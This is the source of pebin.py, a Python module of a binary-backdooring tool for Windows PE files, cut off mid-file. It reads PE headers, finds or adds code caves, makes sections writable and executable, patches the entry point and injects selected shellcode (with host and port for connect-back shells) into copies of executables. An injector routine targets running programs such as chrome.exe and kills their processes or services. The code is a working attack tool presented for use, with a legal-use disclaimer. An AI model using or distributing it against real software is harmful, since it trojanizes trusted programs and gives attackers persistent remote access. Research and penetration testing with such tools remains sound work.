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pebin.py
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pebin.py
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'''
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Copyright (C) 2013,2014, Joshua Pitts
License: GPLv3
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
See <http://www.gnu.org/licenses/> for a copy of the GNU General
Public License
Currently supports win32/64 PE and linux32/64 ELF only(intel architecture).
This program is to be used for only legal activities by IT security
professionals and researchers. Author not responsible for malicious
uses.
'''
import sys
import os
import struct
import shutil
import random
import signal
import platform
import stat
import time
import subprocess
from random import choice
from binascii import unhexlify
from optparse import OptionParser
from intel.intelCore import intelCore
from intel.intelmodules import eat_code_caves
from intel.WinIntelPE32 import winI32_shellcode
from intel.WinIntelPE64 import winI64_shellcode
MachineTypes = {'0x0': 'AnyMachineType',
'0x1d3': 'Matsushita AM33',
'0x8664': 'x64',
'0x1c0': 'ARM LE',
'0x1c4': 'ARMv7',
'0xaa64': 'ARMv8 x64',
'0xebc': 'EFIByteCode',
'0x14c': 'Intel x86',
'0x200': 'Intel Itanium',
'0x9041': 'M32R',
'0x266': 'MIPS16',
'0x366': 'MIPS w/FPU',
'0x466': 'MIPS16 w/FPU',
'0x1f0': 'PowerPC LE',
'0x1f1': 'PowerPC w/FP',
'0x166': 'MIPS LE',
'0x1a2': 'Hitachi SH3',
'0x1a3': 'Hitachi SH3 DSP',
'0x1a6': 'Hitachi SH4',
'0x1a8': 'Hitachi SH5',
'0x1c2': 'ARM or Thumb -interworking',
'0x169': 'MIPS little-endian WCE v2'
}
#What is supported:
supported_types = ['Intel x86', 'x64']
class pebin():
def __init__(self, FILE, OUTPUT, SHELL, NSECTION='sdata', DISK_OFFSET=0, ADD_SECTION=False,
CAVE_JUMPING=False, PORT=8888, HOST="127.0.0.1", SUPPLIED_SHELLCODE=None,
INJECTOR = False, CHANGE_ACCESS = True, VERBOSE=False, SUPPORT_CHECK=False,
SHELL_LEN=300, FIND_CAVES=False, SUFFIX=".old", DELETE_ORIGINAL=False):
self.FILE = FILE
self.OUTPUT = OUTPUT;
self.SHELL = SHELL
self.NSECTION = NSECTION
self.DISK_OFFSET = DISK_OFFSET
self.ADD_SECTION = ADD_SECTION
self.CAVE_JUMPING = CAVE_JUMPING
self.PORT = PORT
self.HOST = HOST
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.flItms = {}
self.INJECTOR = INJECTOR
self.CHANGE_ACCESS = CHANGE_ACCESS
self.VERBOSE = VERBOSE
self.SUPPORT_CHECK = SUPPORT_CHECK
self.SHELL_LEN = SHELL_LEN
self.FIND_CAVES = FIND_CAVES
self.SUFFIX = SUFFIX
self.DELETE_ORIGINAL = DELETE_ORIGINAL
def run_this(self):
if self.INJECTOR is True:
self.injector()
sys.exit()
if self.FIND_CAVES is True:
issupported = self.support_check()
if issupported is False:
print self.FILE, "is not supported."
sys.exit()
print ("Looking for caves with a size of %s "
"bytes (measured as an integer)"
% self.SHELL_LEN)
self.find_all_caves()
sys.exit()
if self.SUPPORT_CHECK is True:
if not self.FILE:
print "You must provide a file to see if it is supported (-f)"
sys.exit()
try:
is_supported = self.support_check()
except Exception, e:
is_supported = False
print 'Exception:', str(e), '%s' % self.FILE
if is_supported is False:
print "%s is not supported." % self.FILE
else:
print "%s is supported." % self.FILE
if self.flItms['runas_admin'] is True:
print "%s must be run as admin." % self.FILE
sys.exit()
self.output_options()
return self.patch_pe()
def gather_file_info_win(self):
"""
Gathers necessary PE header information to backdoor
a file and returns a dict of file information called flItms
"""
#To do:
# verify signed vs unsigned
# map all headers
# map offset once the magic field is determined of 32+/32
self.binary.seek(int('3C', 16))
print "[*] Gathering file info"
self.flItms['filename'] = self.FILE
self.flItms['buffer'] = 0
self.flItms['JMPtoCodeAddress'] = 0
self.flItms['LocOfEntryinCode_Offset'] = self.DISK_OFFSET
#---!!!! This will need to change for x64 !!!!
#not so sure now..
self.flItms['dis_frm_pehdrs_sectble'] = 248
self.flItms['pe_header_location'] = struct.unpack('<i', self.binary.read(4))[0]
# Start of COFF
self.flItms['COFF_Start'] = self.flItms['pe_header_location'] + 4
self.binary.seek(self.flItms['COFF_Start'])
self.flItms['MachineType'] = struct.unpack('<H', self.binary.read(2))[0]
for mactype, name in MachineTypes.iteritems():
if int(mactype, 16) == self.flItms['MachineType']:
if self.VERBOSE is True:
print 'MachineType is:', name
#self.binary.seek(self.flItms['ImportTableLocation'])
#self.flItms['IATLocInCode'] = struct.unpack('<I', self.binary.read(4))[0]
self.binary.seek(self.flItms['COFF_Start'] + 2, 0)
self.flItms['NumberOfSections'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['TimeDateStamp'] = struct.unpack('<I', self.binary.read(4))[0]
self.binary.seek(self.flItms['COFF_Start'] + 16, 0)
self.flItms['SizeOfOptionalHeader'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['Characteristics'] = struct.unpack('<H', self.binary.read(2))[0]
#End of COFF
self.flItms['OptionalHeader_start'] = self.flItms['COFF_Start'] + 20
#if self.flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
self.binary.seek(self.flItms['OptionalHeader_start'])
self.flItms['Magic'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MajorLinkerVersion'] = struct.unpack("!B", self.binary.read(1))[0]
self.flItms['MinorLinkerVersion'] = struct.unpack("!B", self.binary.read(1))[0]
self.flItms['SizeOfCode'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['SizeOfInitializedData'] = struct.unpack("<I", self.binary.read(4))[0]
self.flItms['SizeOfUninitializedData'] = struct.unpack("<i",
self.binary.read(4))[0]
self.flItms['AddressOfEntryPoint'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['BaseOfCode'] = struct.unpack('<i', self.binary.read(4))[0]
#print 'Magic', self.flItms['Magic']
if self.flItms['Magic'] != int('20B', 16):
#print 'Not 0x20B!'
self.flItms['BaseOfData'] = struct.unpack('<i', self.binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if self.flItms['Magic'] == int('20B', 16):
#print 'x64!'
self.flItms['ImageBase'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['ImageBase'] = struct.unpack('<I', self.binary.read(4))[0]
#print 'self.flItms[ImageBase]', hex(self.flItms['ImageBase'])
self.flItms['SectionAlignment'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['FileAlignment'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
self.binary.read(2))[0]
self.flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
self.binary.read(2))[0]
self.flItms['MajorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MinorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MajorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['MinorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['Win32VersionValue'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfImageLoc'] = self.binary.tell()
self.flItms['SizeOfImage'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeaders'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['CheckSum'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['Subsystem'] = struct.unpack('<H', self.binary.read(2))[0]
self.flItms['DllCharacteristics'] = struct.unpack('<H', self.binary.read(2))[0]
if self.flItms['Magic'] == int('20B', 16):
self.flItms['SizeOfStackReserve'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfStackCommit'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfHeapReserve'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['SizeOfHeapCommit'] = struct.unpack('<Q', self.binary.read(8))[0]
else:
self.flItms['SizeOfStackReserve'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfStackCommit'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeapReserve'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['SizeOfHeapCommit'] = struct.unpack('<I', self.binary.read(4))[0]
self.flItms['LoaderFlags'] = struct.unpack('<I', self.binary.read(4))[0] # zero
self.flItms['NumberofRvaAndSizes'] = struct.unpack('<I', self.binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
self.flItms['ExportTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['ImportTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['ResourceTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['ExceptionTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['CertificateTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['BaseReLocationTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Debug'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Architecutre'] = struct.unpack('<Q', self.binary.read(8))[0] # zero
self.flItms['GlobalPrt'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['TLS Table'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['LoadConfigTable'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['ImportTableLocation'] = self.binary.tell()
#print 'ImportTableLocation', hex(self.flItms['ImportTableLocation'])
self.flItms['BoundImport'] = struct.unpack('<Q', self.binary.read(8))[0]
self.binary.seek(self.flItms['ImportTableLocation'])
self.flItms['IATLocInCode'] = struct.unpack('<I', self.binary.read(4))[0]
#print 'first IATLOCIN CODE', hex(self.flItms['IATLocInCode'])
self.flItms['IATSize'] = struct.unpack('<I', self.binary.read(4))[0]
#print 'IATSize', hex(self.flItms['IATSize'])
self.flItms['IAT'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['DelayImportDesc'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['CLRRuntimeHeader'] = struct.unpack('<Q', self.binary.read(8))[0]
self.flItms['Reserved'] = struct.unpack('<Q', self.binary.read(8))[0] # zero
self.flItms['BeginSections'] = self.binary.tell()
if self.flItms['NumberOfSections'] is not 0:
self.flItms['Sections'] = []
for section in range(self.flItms['NumberOfSections']):
sectionValues = []
sectionValues.append(self.binary.read(8))
# VirtualSize
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# VirtualAddress
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# SizeOfRawData
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToRawData
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToRelocations
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# PointerToLinenumbers
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
# NumberOfRelocations
sectionValues.append(struct.unpack('<H', self.binary.read(2))[0])
# NumberOfLinenumbers
sectionValues.append(struct.unpack('<H', self.binary.read(2))[0])
# SectionFlags
sectionValues.append(struct.unpack('<I', self.binary.read(4))[0])
self.flItms['Sections'].append(sectionValues)
if 'UPX'.lower() in sectionValues[0].lower():
print "UPX files not supported."
return False
if ('.text\x00\x00\x00' == sectionValues[0] or
'AUTO\x00\x00\x00\x00' == sectionValues[0] or
'CODE\x00\x00\x00\x00' == sectionValues[0]):
self.flItms['textSectionName'] = sectionValues[0]
self.flItms['textVirtualAddress'] = sectionValues[2]
self.flItms['textPointerToRawData'] = sectionValues[4]
elif '.rsrc\x00\x00\x00' == sectionValues[0]:
self.flItms['rsrcSectionName'] = sectionValues[0]
self.flItms['rsrcVirtualAddress'] = sectionValues[2]
self.flItms['rsrcSizeRawData'] = sectionValues[3]
self.flItms['rsrcPointerToRawData'] = sectionValues[4]
self.flItms['VirtualAddress'] = self.flItms['SizeOfImage']
self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] -
self.flItms['textVirtualAddress'] +
self.flItms['textPointerToRawData'] +
self.flItms['LocOfEntryinCode_Offset'])
else:
self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] -
self.flItms['LocOfEntryinCode_Offset'])
self.flItms['VrtStrtngPnt'] = (self.flItms['AddressOfEntryPoint'] +
self.flItms['ImageBase'])
self.binary.seek(self.flItms['IATLocInCode'])
self.flItms['ImportTableALL'] = self.binary.read(self.flItms['IATSize'])
self.flItms['NewIATLoc'] = self.flItms['IATLocInCode'] + 40
#return self.flItms
def print_flItms(self, flItms):
keys = self.flItms.keys()
keys.sort()
for item in keys:
if type(self.flItms[item]) == int:
print item + ':', hex(self.flItms[item])
elif item == 'Sections':
print "-" * 50
for section in self.flItms['Sections']:
print "Section Name", section[0]
print "Virutal Size", hex(section[1])
print "Virtual Address", hex(section[2])
print "SizeOfRawData", hex(section[3])
print "PointerToRawData", hex(section[4])
print "PointerToRelocations", hex(section[5])
print "PointerToLinenumbers", hex(section[6])
print "NumberOfRelocations", hex(section[7])
print "NumberOfLinenumbers", hex(section[8])
print "SectionFlags", hex(section[9])
print "-" * 50
else:
print item + ':', self.flItms[item]
print "*" * 50, "END flItms"
def change_section_flags(self, section):
"""
Changes the user selected section to RWE for successful execution
"""
print "[*] Changing Section Flags"
self.flItms['newSectionFlags'] = int('e00000e0', 16)
self.binary.seek(self.flItms['BeginSections'], 0)
for _ in range(self.flItms['NumberOfSections']):
sec_name = self.binary.read(8)
if section in sec_name:
self.binary.seek(28, 1)
self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
return
else:
self.binary.seek(32, 1)
def create_code_cave(self):
"""
This function creates a code cave for shellcode to hide,
takes in the dict from gather_file_info_win function and
writes to the file and returns flItms
"""
print "[*] Creating Code Cave"
self.flItms['NewSectionSize'] = len(self.flItms['shellcode']) + 250 # bytes
self.flItms['SectionName'] = self.NSECTION # less than 7 chars
self.flItms['filesize'] = os.stat(self.flItms['filename']).st_size
self.flItms['newSectionPointerToRawData'] = self.flItms['filesize']
self.flItms['VirtualSize'] = int(str(self.flItms['NewSectionSize']), 16)
self.flItms['SizeOfRawData'] = self.flItms['VirtualSize']
self.flItms['NewSectionName'] = "." + self.flItms['SectionName']
self.flItms['newSectionFlags'] = int('e00000e0', 16)
self.binary.seek(self.flItms['pe_header_location'] + 6, 0)
self.binary.write(struct.pack('<h', self.flItms['NumberOfSections'] + 1))
self.binary.seek(self.flItms['SizeOfImageLoc'], 0)
self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] +
self.flItms['SizeOfImage'])
self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage']))
self.binary.seek(self.flItms['ImportTableLocation'])
if self.flItms['IATLocInCode'] != 0:
self.binary.write(struct.pack('=i', self.flItms['IATLocInCode'] + 40))
self.binary.seek(self.flItms['BeginSections'] +
40 * self.flItms['NumberOfSections'], 0)
self.binary.write(self.flItms['NewSectionName'] +
"\x00" * (8 - len(self.flItms['NewSectionName'])))
self.binary.write(struct.pack('<I', self.flItms['VirtualSize']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfImage']))
self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData']))
self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData']))
if self.VERBOSE is True:
print 'New Section PointerToRawData'
print self.flItms['newSectionPointerToRawData']
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', 0))
self.binary.write(struct.pack('<I', self.flItms['newSectionFlags']))
self.binary.write(self.flItms['ImportTableALL'])
self.binary.seek(self.flItms['filesize'] + 1, 0) # moving to end of file
nop = choice(intelCore.nops)
if nop > 144:
self.binary.write(struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2))
else:
self.binary.write(struct.pack('!B', nop) * (self.flItms['VirtualSize']))
self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] +
self.flItms['ImageBase'])
self.flItms['buffer'] = int('200', 16) # bytes
self.flItms['JMPtoCodeAddress'] = (self.flItms['CodeCaveVirtualAddress'] -
self.flItms['AddressOfEntryPoint'] -
self.flItms['ImageBase'] - 5 +
self.flItms['buffer'])
def find_all_caves(self ):
"""
This function finds all the codecaves in a inputed file.
Prints results to screen
"""
print "[*] Looking for caves"
SIZE_CAVE_TO_FIND = self.SHELL_LEN
BeginCave = 0
Tracking = 0
count = 1
caveTracker = []
caveSpecs = []
self.binary = open(self.FILE, 'r+b')
self.binary.seek(0)
while True:
try:
s = struct.unpack("<b", self.binary.read(1))[0]
except Exception as e:
#print str(e)
break
if s == 0:
if count == 1:
BeginCave = Tracking
count += 1
else:
if count >= SIZE_CAVE_TO_FIND:
caveSpecs.append(BeginCave)
caveSpecs.append(Tracking)
caveTracker.append(caveSpecs)
count = 1
caveSpecs = []
Tracking += 1
for caves in caveTracker:
countOfSections = 0
for section in self.flItms['Sections']:
sectionFound = False
if caves[0] >= section[4] and caves[1] <= (section[3] + section[4]) and \
caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:
print "We have a winner:", section[0]
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print 'SizeOfRawData', hex(section[3])
print 'PointerToRawData', hex(section[4])
print 'End of Raw Data:', hex(section[3] + section[4])
print '*' * 50
sectionFound = True
break
if sectionFound is False:
try:
print "No section"
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print '*' * 50
except Exception as e:
print str(e)
print "[*] Total of %s caves found" % len(caveTracker)
self.binary.close()
def find_cave(self):
"""This function finds all code caves, allowing the user
to pick the cave for injecting shellcode."""
len_allshells = ()
if self.flItms['cave_jumping'] is True:
for item in self.flItms['allshells']:
len_allshells += (len(item), )
len_allshells += (len(self.flItms['resumeExe']), )
SIZE_CAVE_TO_FIND = sorted(len_allshells)[0]
else:
SIZE_CAVE_TO_FIND = self.flItms['shellcode_length']
len_allshells = (self.flItms['shellcode_length'], )
print "[*] Looking for caves that will fit the minimum "\
"shellcode length of %s" % SIZE_CAVE_TO_FIND
print "[*] All caves lengths: ", len_allshells
Tracking = 0
count = 1
#BeginCave=0
caveTracker = []
caveSpecs = []
self.binary.seek(0)
while True:
try:
s = struct.unpack("<b", self.binary.read(1))[0]
except Exception as e:
#print "CODE CAVE", str(e)
break
if s == 0:
if count == 1:
BeginCave = Tracking
count += 1
else:
if count >= SIZE_CAVE_TO_FIND:
caveSpecs.append(BeginCave)
caveSpecs.append(Tracking)
caveTracker.append(caveSpecs)
count = 1
caveSpecs = []
Tracking += 1
pickACave = {}
for i, caves in enumerate(caveTracker):
i += 1
countOfSections = 0
for section in self.flItms['Sections']:
sectionFound = False
try:
if caves[0] >= section[4] and \
caves[1] <= (section[3] + section[4]) and \
caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:
if self.VERBOSE is True:
print "Inserting code in this section:", section[0]
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print 'SizeOfRawData', hex(section[3])
print 'PointerToRawData', hex(section[4])
print 'End of Raw Data:', hex(section[3] + section[4])
print '*' * 50
JMPtoCodeAddress = (section[2] + caves[0] - section[4] -
5 - self.flItms['AddressOfEntryPoint'])
sectionFound = True
pickACave[i] = [section[0], hex(caves[0]), hex(caves[1]),
caves[1] - caves[0], hex(section[4]),
hex(section[3] + section[4]), JMPtoCodeAddress]
break
except:
print "-End of File Found.."
break
if sectionFound is False:
if self.VERBOSE is True:
print "No section"
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', caves[1] - caves[0]
print '*' * 50
JMPtoCodeAddress = (section[2] + caves[0] - section[4] -
5 - self.flItms['AddressOfEntryPoint'])
try:
pickACave[i] = ["None", hex(caves[0]), hex(caves[1]),
caves[1] - caves[0], "None",
"None", JMPtoCodeAddress]
except:
print "EOF"
print ("############################################################\n"
"The following caves can be used to inject code and possibly\n"
"continue execution.\n"
"**Don't like what you see? Use jump, single, or append.**\n"
"############################################################")
CavesPicked = {}
for k, item in enumerate(len_allshells):
print "[*] Cave {0} length as int: {1}".format(k + 1, item)
print "[*] Available caves: "
for ref, details in pickACave.iteritems():
if details[3] >= item:
print str(ref) + ".", ("Section Name: {0}; Section Begin: {4} "
"End: {5}; Cave begin: {1} End: {2}; "
"Cave Size: {3}".format(details[0], details[1], details[2],
details[3], details[4], details[5],
details[6]))
while True:
print "*" * 50
selection = raw_input("[!] Enter your selection: ")
try:
selection = int(selection)
print "Using selection: %s" % selection
try:
if self.CHANGE_ACCESS is True:
if pickACave[selection][0] != "None":
self.change_section_flags(pickACave[selection][0])
CavesPicked[k] = pickACave[selection]
break
except Exception as e:
print str(e)
print "-User selection beyond the bounds of available caves...appending a code cave"
return None
except Exception as e:
if selection.lower() == 'append' or selection.lower() == 'jump' or selection.lower() == 'single':
return selection
return CavesPicked
def runas_admin(self):
"""
This module jumps to .rsrc section and checks for
the following string: requestedExecutionLevel level="highestAvailable"
"""
#g = open(flItms['filename'], "rb")
runas_admin = False
if 'rsrcPointerToRawData' in self.flItms:
self.binary.seek(self.flItms['rsrcPointerToRawData'], 0)
search_lngth = len('requestedExecutionLevel level="highestAvailable"')
data_read = 0
while data_read < self.flItms['rsrcSizeRawData']:
self.binary.seek(self.flItms['rsrcPointerToRawData'] + data_read, 0)
temp_data = self.binary.read(search_lngth)
if temp_data == 'requestedExecutionLevel level="highestAvailable"':
runas_admin = True
break
data_read += 1
return runas_admin
def support_check(self):
"""
This function is for checking if the current exe/dll is
supported by this program. Returns false if not supported,
returns flItms if it is.
"""
print "[*] Checking if binary is supported"
self.flItms['supported'] = False
#global f
self.binary = open(self.FILE, "r+b")
if self.binary.read(2) != "\x4d\x5a":
print "%s not a PE File" % self.FILE
return False
self.gather_file_info_win()
if self.flItms is False:
return False
if MachineTypes[hex(self.flItms['MachineType'])] not in supported_types:
for item in self.flItms:
print item + ':', self.flItms[item]
print ("This program does not support this format: %s"
% MachineTypes[hex(self.flItms['MachineType'])])
else:
self.flItms['supported'] = True
targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
if self.flItms['Magic'] == int('20B', 16):
self.flItms, self.flItms['count_bytes'] = targetFile.pe64_entry_instr()
elif self.flItms['Magic'] == int('10b', 16):
self.flItms, self.flItms['count_bytes'] = targetFile.pe32_entry_instr()
else:
self.flItms['supported'] = False
self.flItms['runas_admin'] = self.runas_admin()
if self.VERBOSE is True:
self.print_flItms(self.flItms)
if self.flItms['supported'] is False:
return False
self.binary.close()
def patch_pe(self):
"""
This function operates the sequence of all involved
functions to perform the binary patching.
"""
print "[*] In the backdoor module"
if self.INJECTOR is False:
os_name = os.name
if not os.path.exists("backdoored"):
os.makedirs("backdoored")
if os_name == 'nt':
self.OUTPUT = "backdoored\\" + self.OUTPUT
else:
self.OUTPUT = "backdoored/" + self.OUTPUT
issupported = self.support_check()
if issupported is False:
return None
self.flItms['NewCodeCave'] = self.ADD_SECTION
self.flItms['cave_jumping'] = self.CAVE_JUMPING
self.flItms['CavesPicked'] = {}
self.flItms['LastCaveAddress'] = 0
self.flItms['stager'] = False
self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE
#if self.flItms['supplied_shellcode'] is not None:
# self.flItms['supplied_shellcode'] = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
#override other settings
# port = 4444
# host = '127.0.0.1'
self.set_shells()
#Move shellcode check here not before this is executed.
#Creating file to backdoor
self.flItms['backdoorfile'] = self.OUTPUT
shutil.copy2(self.FILE, self.flItms['backdoorfile'])
self.binary = open(self.flItms['backdoorfile'], "r+b")
#reserve space for shellcode
targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
# Finding the length of the resume Exe shellcode
if self.flItms['Magic'] == int('20B', 16):
_, self.flItms['resumeExe'] = targetFile.resume_execution_64()
else:
_, self.flItms['resumeExe'] = targetFile.resume_execution_32()
shellcode_length = len(self.flItms['shellcode'])
self.flItms['shellcode_length'] = shellcode_length + len(self.flItms['resumeExe'])
caves_set = False
while caves_set is False:
if self.flItms['NewCodeCave'] is False:
#self.flItms['JMPtoCodeAddress'], self.flItms['CodeCaveLOC'] = (
self.flItms['CavesPicked'] = self.find_cave()
if self.flItms['CavesPicked'] is None:
self.flItms['JMPtoCodeAddress'] = None
self.flItms['CodeCaveLOC'] = 0
self.flItms['cave_jumping'] = False
self.flItms['CavesPicked'] = {}
print "-resetting shells"
self.set_shells()
caves_set = True
elif type(self.flItms['CavesPicked']) == str:
if self.flItms['CavesPicked'].lower() == 'append':
self.flItms['JMPtoCodeAddress'] = None
self.flItms['CodeCaveLOC'] = 0
self.flItms['cave_jumping'] = False
self.flItms['CavesPicked'] = {}
print "-resetting shells"
self.set_shells()
caves_set = True
elif self.flItms['CavesPicked'].lower() == 'jump':
self.flItms['JMPtoCodeAddress'] = None
self.flItms['CodeCaveLOC'] = 0
self.flItms['cave_jumping'] = True
self.flItms['CavesPicked'] = {}
print "-resetting shells"
self.set_shells()
continue
elif self.flItms['CavesPicked'].lower() == 'single':
self.flItms['JMPtoCodeAddress'] = None
self.flItms['CodeCaveLOC'] = 0
self.flItms['cave_jumping'] = False
self.flItms['CavesPicked'] = {}
print "-resetting shells"
self.set_shells()
continue
else:
self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6]
caves_set = True
else:
caves_set = True
#If no cave found, continue to create one.
if self.flItms['JMPtoCodeAddress'] is None or self.flItms['NewCodeCave'] is True:
self.create_code_cave()
self.flItms['NewCodeCave'] = True
print "- Adding a new section to the exe/dll for shellcode injection"
else:
self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][len(self.flItms['CavesPicked']) - 1][6]
#Patch the entry point
targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
targetFile.patch_initial_instructions()
if self.flItms['Magic'] == int('20B', 16):
ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_64()
else:
ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_32()
#write instructions and shellcode
self.flItms['allshells'] = getattr(self.flItms['shells'], self.SHELL)(self.flItms, self.flItms['CavesPicked'])
if self.flItms['cave_jumping'] is True:
if self.flItms['stager'] is False:
temp_jmp = "\xe9"
breakupvar = eat_code_caves(self.flItms, 1, 2)
test_length = int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16) - len(self.flItms['allshells'][1]) - 5
#test_length = breakupvar - len(self.flItms['allshells'][1]) - 4
if test_length < 0:
temp_jmp += struct.pack("<I", 0xffffffff - abs(breakupvar - len(self.flItms['allshells'][1]) - 4))
else:
temp_jmp += struct.pack("<I", breakupvar - len(self.flItms['allshells'][1]) - 5)
self.flItms['allshells'] += (self.flItms['resumeExe'], )
self.flItms['completeShellcode'] = self.flItms['shellcode'] + self.flItms['resumeExe']
if self.flItms['NewCodeCave'] is True:
self.binary.seek(self.flItms['newSectionPointerToRawData'] + self.flItms['buffer'])
self.binary.write(self.flItms['completeShellcode'])
if self.flItms['cave_jumping'] is True:
for i, item in self.flItms['CavesPicked'].iteritems():
self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16))
self.binary.write(self.flItms['allshells'][i])
#So we can jump to our resumeExe shellcode
if i == (len(self.flItms['CavesPicked']) - 2) and self.flItms['stager'] is False:
self.binary.write(temp_jmp)
else:
for i, item in self.flItms['CavesPicked'].iteritems():
if i == 0:
self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16))
self.binary.write(self.flItms['completeShellcode'])
print "[*] {0} backdooring complete".format(self.FILE)
self.binary.close()
if self.VERBOSE is True:
print_flItms(self.flItms)
return True
def output_options(self):
"""
Output file check.
"""
if not self.OUTPUT:
self.OUTPUT = os.path.basename(self.FILE)
def set_shells(self):
"""
This function sets the shellcode.
"""
print "[*] Looking for and setting selected shellcode"
if self.flItms['Magic'] == int('10B', 16):
self.flItms['bintype'] = winI32_shellcode
if self.flItms['Magic'] == int('20B', 16):
self.flItms['bintype'] = winI64_shellcode
if not self.SHELL:
print "You must choose a backdoor to add: (use -s)"
for item in dir(self.flItms['bintype']):
if "__" in item:
continue
elif ("returnshellcode" == item
or "pack_ip_addresses" == item
or "eat_code_caves" == item
or 'ones_compliment' == item
or 'resume_execution' in item
or 'returnshellcode' in item):
continue
else:
print " {0}".format(item)
sys.exit()
if self.SHELL not in dir(self.flItms['bintype']):
print "The following %ss are available: (use -s)" % str(self.flItms['bintype']).split(".")[1]
for item in dir(self.flItms['bintype']):
#print item
if "__" in item:
continue
elif "returnshellcode" == item or "pack_ip_addresses" == item or "eat_code_caves" == item:
continue
else:
print " {0}".format(item)
sys.exit()
else:
shell_cmd = self.SHELL + "()"
self.flItms['shells'] = self.flItms['bintype'](self.HOST, self.PORT, self.SUPPLIED_SHELLCODE)
self.flItms['allshells'] = getattr(self.flItms['shells'], self.SHELL)(self.flItms)
self.flItms['shellcode'] = self.flItms['shells'].returnshellcode()
def injector(self):
"""
The injector module will hunt and injection shellcode into
targets that are in the list_of_targets dict.
Data format DICT: {process_name_to_backdoor :
[('dependencies to kill', ),
'service to kill', restart=True/False],
}
"""
list_of_targets = {'chrome.exe':
[('chrome.exe', ), None, True],
'hamachi-2.exe':
[('hamachi-2.exe', ), "Hamachi2Svc", True],
'tcpview.exe': [('tcpview.exe',), None, True],
#'rpcapd.exe':
